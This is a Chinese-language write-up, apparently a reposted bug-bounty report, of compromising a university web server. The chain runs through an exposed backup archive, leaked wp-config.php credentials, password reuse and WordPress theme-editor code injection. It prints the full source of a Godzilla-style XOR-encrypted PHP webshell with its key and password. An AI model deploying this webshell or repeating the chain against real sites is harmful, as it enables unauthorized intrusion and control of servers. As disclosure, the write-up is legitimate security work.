记一次某理工大学getshell(证书站) – 作者:f1312048532

刚放假,闲的没事,就想着一边用Xray+rad配合红队师傅写的py脚本来批量挖掘edu漏洞

py脚本地址: https://github.com/timwhitez/rad-xray
Xray地址:https://github.com/chaitin/xray
rad地址:https://github.com/chaitin/rad
使用详情请见  https://github.com/timwhitez/rad-xray

连续扫了几天也没啥收获,最后去看了一下漏洞报告,发现了某理工大学旁站的一个备份文件
图片[1]-记一次某理工大学getshell(证书站) – 作者:f1312048532-安全小百科
访问 `https://xxxx/backup.zip` 下载备份文件
图片[2]-记一次某理工大学getshell(证书站) – 作者:f1312048532-安全小百科
意外在`wp-config.php`中发现了数据库配置信息,其中包含了数据库账号和密码
图片[3]-记一次某理工大学getshell(证书站) – 作者:f1312048532-安全小百科
并且发现了备份了数据库,用记事本打开,发现了用户名跟md5加密后的密码
图片[4]-记一次某理工大学getshell(证书站) – 作者:f1312048532-安全小百科
虽然md5加密的密码无法解开,但是我们可以猜测他的数据库密码跟后台密码可能一致,于是用刚刚的数据库密码和这个后台管理员账号登录,成功进入后台
图片[5]-记一次某理工大学getshell(证书站) – 作者:f1312048532-安全小百科
在外观 -> 主题编辑器 这里发现了可以写入代码的地方,尝试写入一句话,成功写入但蚁剑无法连接,于是尝试用哥斯拉的加密马写入。密码是 `pass`

<?php
  @session_start();
  @set_time_limit(0);
  @error_reporting(0);
  function encode($D,$K){
      for($i=0;$i<strlen($D);$i++) {
          $c = $K[$i+1&15];
          $D[$i] = $D[$i]^$c;
      }
      return $D;
  }
  $pass='pass';
  $payloadName='payload';
  $key='3c6e0b8a9c15224a';
  if (isset($_POST[$pass])){
      $data=encode(base64_decode($_POST[$pass]),$key);
      if (isset($_SESSION[$payloadName])){
          $payload=encode($_SESSION[$payloadName],$key);
          eval($payload);
          echo substr(md5($pass.$key),0,16);
          echo base64_encode(encode(@run($data),$key));
          echo substr(md5($pass.$key),16);
      }else{
          if (stripos($data,"getBasicsInfo")!==false){
              $_SESSION[$payloadName]=encode($data,$key);
          }
      }
  }

成功连接。到这儿就已经拿到webshell了
图片[6]-记一次某理工大学getshell(证书站) – 作者:f1312048532-安全小百科

但是扫描了一下端口,另外还发现9999端口是服务器面板,访问 `https://xxxxx:9999/index.php?c=index&a=login` 猜测密码肯定还是原来的密码,但是用刚刚的账户名不能登录,将账户名改为`admin`密码还是刚刚的`数据库的密码`成功登录服务器管理面板
图片[7]-记一次某理工大学getshell(证书站) – 作者:f1312048532-安全小百科

图片[8]-记一次某理工大学getshell(证书站) – 作者:f1312048532-安全小百科
(ps:该站点已提交EduSRC,并已修复)

来源:freebuf.com 2021-07-10 10:29:46 by: f1312048532

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享